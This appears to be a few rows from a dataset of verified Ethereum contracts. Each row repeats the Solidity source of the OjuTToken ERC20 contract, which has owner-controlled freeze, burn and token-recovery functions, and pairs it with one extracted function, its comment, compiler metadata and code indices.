| // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
3700,
4360
]
} | 1,341 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
4643,
4799
]
} | 1,342 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approveAndCall | function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
5154,
5476
]
} | 1,343 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | function () public payable {
revert();
}
| // ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
5668,
5727
]
} | 1,344 |
||
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferAnyERC20Token | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
| // ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
5960,
6149
]
} | 1,345 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | burn | function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
| // ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
6447,
6818
]
} | 1,346 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | freezeAccount | function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
| // ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
